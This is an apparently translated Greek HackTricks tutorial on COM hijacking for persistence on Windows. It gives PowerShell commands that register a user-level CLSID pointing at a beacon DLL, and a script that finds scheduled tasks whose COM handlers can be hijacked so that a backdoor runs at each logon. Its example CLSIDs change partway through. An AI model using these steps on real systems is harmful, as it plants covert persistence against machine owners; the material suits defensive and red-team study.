COM Hijacking

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Αναζήτηση μη υπαρκτών στοιχείων COM

Καθώς οι τιμές του HKCU μπορούν να τροποποιηθούν από τους χρήστες, το COM Hijacking μπορεί να χρησιμοποιηθεί ως ένα μηχανισμός διατήρησης. Χρησιμοποιώντας το procmon είναι εύκολο να βρεθούν αναζητούμενα μη υπαρκτά COM καταγεγραμμένα στοιχεία που ένας επιτιθέμενος μπορεί να δημιουργήσει για να διατηρηθεί. Φίλτρα:

  • Λειτουργίες RegOpenKey.

  • όπου το Αποτέλεσμα είναι ΤΟ ΟΝΟΜΑ ΔΕΝ ΒΡΕΘΗΚΕ.

  • και το Μονοπάτι τελειώνει με InprocServer32.

Αφού αποφασίσετε ποιο μη υπαρκτό COM θέλετε να προσωποποιήσετε, εκτελέστε τις παρακάτω εντολές. Να είστε προσεκτικοί αν αποφασίσετε να προσωποποιήσετε ένα COM που φορτώνεται κάθε λίγα δευτερόλεπτα, καθώς αυτό μπορεί να είναι υπερβολικό.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Εκμετάλλευση ευπαθών στοιχείων COM του Task Scheduler

Οι εργασίες των Windows χρησιμοποιούν προσαρμοσμένες ενεργοποιήσεις για να καλούν αντικείμενα COM και επειδή εκτελούνται μέσω του Task Scheduler, είναι πιο εύκολο να προβλέψετε πότε θα ενεργοποιηθούν.

# Εμφάνιση COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Όνομα Εργασίας: " $Task.TaskName
Write-Host "Διαδρομή Εργασίας: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Δείγμα Αποτελέσματος:
# Όνομα Εργασίας:  Παράδειγμα
# Διαδρομή Εργασίας:  \Microsoft\Windows\Παράδειγμα\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [περισσότερα όπως το προηγούμενο...]

Ελέγχοντας τα αποτελέσματα, μπορείτε να επιλέξετε ένα που θα εκτελείται κάθε φορά που ο χρήστης συνδέεται για παράδειγμα.

Τώρα αναζητώντας το CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} στο HKEY_CLASSES_ROOT\CLSID και στο HKLM και HKCU, συνήθως θα διαπιστώσετε ότι η τιμή δεν υπάρχει στο HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Στη συνέχεια, μπορείτε απλά να δημιουργήσετε την καταχώρηση HKCU και κάθε φορά που ο χρήστης συνδέεται, το backdoor σας θα εκτελείται.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated